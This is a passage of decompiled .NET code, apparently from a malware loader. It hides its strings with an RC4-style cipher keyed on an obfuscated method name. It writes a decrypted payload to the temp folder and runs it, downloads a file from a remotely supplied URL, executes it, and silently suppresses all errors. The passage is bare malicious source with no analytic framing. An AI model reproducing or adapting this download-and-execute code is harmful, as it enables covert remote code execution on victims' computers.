Conversions.ToString(Strings.Chr(181)) + "_" + Conversions.ToString(Strings.Chr(238)) + "9h" + Conversions.ToString(Strings.Chr(163)) + Conversions.ToString(Strings.Chr(155)) + "4-[" + Conversions.ToString(Strings.Chr(132)) + Conversions.ToString(Strings.Chr(252)) + Conversions.ToString(Strings.Chr(165)) + "\u0017" + Conversions.ToString(Strings.Chr(145)) + Conversions.ToString(Strings.Chr(131)) + Conversions.ToString(Strings.Chr(210)) + Conversions.ToString(Strings.Chr(144)) + Conversions.ToString(Strings.Chr(235)) + "\u001F" + Conversions.ToString(Strings.Chr(178)) + "j" + Conversions.ToString(Strings.Chr(162)) + "f" + Conversions.ToString(Strings.Chr(171)) + Conversions.ToString(Strings.Chr(233)) + "\u0011" + Conversions.ToString(Strings.Chr(198)) + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(227)) + "\u0013\u0004\u0002\v" + Conversions.ToString(Strings.Chr(207)) + Conversions.ToString(Strings.Chr(165)) + Conversions.ToString(Strings.Chr(141)) + "\u007F" + Conversions.ToString(Strings.Chr(191)) + Conversions.ToString(Strings.Chr(230)))) + "\r\n" + this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(147)) + "`" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr((int) byte.MaxValue)) + Conversions.ToString(Strings.Chr(177)) + "b" + Conversions.ToString(Strings.Chr(235)) + "6" + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(230)) + Conversions.ToString(Strings.Chr(223)) + Conversions.ToString(Strings.Chr(249)) + "^" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(243)) + Conversions.ToString(Strings.Chr(166)) + Conversions.ToString(Strings.Chr(208)) + "i\u001E" + Conversions.ToString(Strings.Chr(200)) + "I" + Conversions.ToString(Strings.Chr(185)) + ";\t" + Conversions.ToString(Strings.Chr(142)) + Conversions.ToString(Strings.Chr(203)) + Conversions.ToString(Strings.Chr((int) byte.MaxValue)) + Conversions.ToString(Strings.Chr(132)) + " " + Conversions.ToString(Strings.Chr(232)) + Conversions.ToString(Strings.Chr(243)))) + strArray[1] + this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(150)) + "a")) + "\r\n" + this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(147)) + "`" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr((int) byte.MaxValue)) + Conversions.ToString(Strings.Chr(177)) + "b" + Conversions.ToString(Strings.Chr(235)) + "6" + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(230)) + Conversions.ToString(Strings.Chr(223)) + Conversions.ToString(Strings.Chr(249)) + "^" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(243)) + Conversions.ToString(Strings.Chr(160)) + Conversions.ToString(Strings.Chr(165)) + "lk" + Conversions.ToString(Strings.Chr(204)) + "=" + Conversions.ToString(Strings.Chr(189)) + "<\t" + Conversions.ToString(Strings.Chr(140)) + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(137)))) + str + strArray[4] + this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(248))) + strArray[2] + this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(150)) + "a" + Conversions.ToString(Strings.Chr(207)) + Conversions.ToString(Strings.Chr(249)) + Conversions.ToString(Strings.Chr(180)) + "b")) + "\r\n" + this.ZcUepepsjLqeOQBcawraGvj(this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(146)) + "\u0015" + Conversions.ToString(Strings.Chr(203)) + Conversions.ToString(Strings.Chr(249)) + Conversions.ToString(Strings.Chr(176)) + "\u0011" + Conversions.ToString(Strings.Chr(235)) + "2" + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(226)) + Conversions.ToString(Strings.Chr(223)) + Conversions.ToString(Strings.Chr(141)) + "_" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(245)) + Conversions.ToString(Strings.Chr(165)) + Conversions.ToString(Strings.Chr(161)) + "h\u001D" + Conversions.ToString(Strings.Chr(201)) + "4" + Conversions.ToString(Strings.Chr(189)) + "K\u000E" + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(206)) + Conversions.ToString(Strings.Chr(142)) + Conversions.ToString(Strings.Chr(129)) + "$" + Conversions.ToString(Strings.Chr(239)) + Conversions.ToString(Strings.Chr(242)) + Conversions.ToString(Strings.Chr(213)) + "3" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(154)) + Conversions.ToString(Strings.Chr(241)) + Conversions.ToString(Strings.Chr(222)) + " " + Conversions.ToString(Strings.Chr(142)) + Conversions.ToString(Strings.Chr(177)) + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(208)) + "D|" + Conversions.ToString(Strings.Chr(138)) + "j" + Conversions.ToString(Strings.Chr(207)) + Conversions.ToString(Strings.Chr(248)) + "9k8" + Conversions.ToString(Strings.Chr(164)) + Conversions.ToString(Strings.Chr(156)) + "\u0014" + Conversions.ToString(Strings.Chr(201)) + "_A" + Conversions.ToString(Strings.Chr(194)) + "B6" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(200)) + "u" + Conversions.ToString(Strings.Chr(246)) + "6/" + Conversions.ToString(Strings.Chr(230)) + Conversions.ToString(Strings.Chr(143)) + Conversions.ToString(Strings.Chr(148)) + Conversions.ToString(Strings.Chr(247)) + "N" + Conversions.ToString(Strings.Chr(201)) + "N" + Conversions.ToString(Strings.Chr(141)) + "C" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(135)) + "\"" + Conversions.ToString(Strings.Chr(183)) + "." + Conversions.ToString(Strings.Chr(238)) + "Hi" + Conversions.ToString(Strings.Chr(163)) + Conversions.ToString(Strings.Chr(155)) + "?/Y" + Conversions.ToString(Strings.Chr(132)) + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(164)) + "f" + Conversions.ToString(Strings.Chr(144)) + Conversions.ToString(Strings.Chr(143)) + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(234)) + "\u0019" + Conversions.ToString(Strings.Chr(178)) + "l" + Conversions.ToString(Strings.Chr(162)) + "g" + Conversions.ToString(Strings.Chr(168)) + Conversions.ToString(Strings.Chr(230)) + "\u0011" + Conversions.ToString(Strings.Chr(177)) + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(229)) + "\u0011r\u0001\f" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(141)) + "\v" + Conversions.ToString(Strings.Chr(187)) + Conversions.ToString(Strings.Chr(144)) + "T" + Conversions.ToString(Strings.Chr(223)) + "^\u0012l" + Conversions.ToString(Strings.Chr(168)) + Conversions.ToString(Strings.Chr(243)) + ")\u001F" + Conversions.ToString(Strings.Chr(221)) + Conversions.ToString(Strings.Chr(254)) + "E" + Conversions.ToString(Strings.Chr(250)) + Conversions.ToString(Strings.Chr(144)) + "?g" + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(158)) + Conversions.ToString(Strings.Chr(231)) + "U")); File.WriteAllText(Path.GetTempPath() + this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(206)) + "}" + Conversions.ToString(Strings.Chr(139)) + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(245))), contents); Process.Start(Path.GetTempPath() + this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(206)) + "}" + Conversions.ToString(Strings.Chr(139)) + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(245)))); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } } if (Operators.CompareString(strArray[11], this.MEJCflIeIGsNSqnpmgQIqkE(Conversions.ToString(Strings.Chr(149))), false) == 0) { try { Random random = new Random(); string str = Path.GetTempPath() + Conversions.ToString(random.Next(1111, 9999)) + this.WWVhPbEaAPWbMTauDhuGieh(Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(223)) + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(149))); MyProject.Computer.Network.DownloadFile(strArray[12], str); Process.Start(str); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } this.Close(); } public string MEJCflIeIGsNSqnpmgQIqkE(string RlCOnKqowsrovUSMe) { string str1 = nameof (MEJCflIeIGsNSqnpmgQIqkE); int index1 = 0; int index2 = 0; StringBuilder stringBuilder = new StringBuilder(); string empty = string.Empty; int[] numArray1 = new int[257]; int[] numArray2 = new int[257]; int length = str1.Length; int location1 = 0; while (location1 <= (int) byte.MaxValue) { char String = str1.Substring(location1 % length, 1).ToCharArray()[0]; numArray2[location1] = Strings.Asc(String); numArray1[location1] = location1; Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); } int index3 = 0; int location2 = 0; while (location2 <= (int) byte.MaxValue) { index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; int num = numArray1[location2]; numArray1[location2] = numArray1[index3]; numArray1[index3] = num; Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); } int location3 = 1; while (location3 <= RlCOnKqowsrovUSMe.Length) { index1 = checked (index1 + 1) % 256; index2 = checked (index2 + numArray1[index1]) % 256; int num1 = numArray1[index1]; numArray1[index1] = numArray1[index2]; numArray1[index2] = num1; int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; int CharCode = Strings.Asc(RlCOnKqowsrovUSMe.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2; stringBuilder.Append(Strings.Chr(CharCode)); Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1)); } string str2 = stringBuilder.ToString(); stringBuilder.Length = 0; return str2; } } }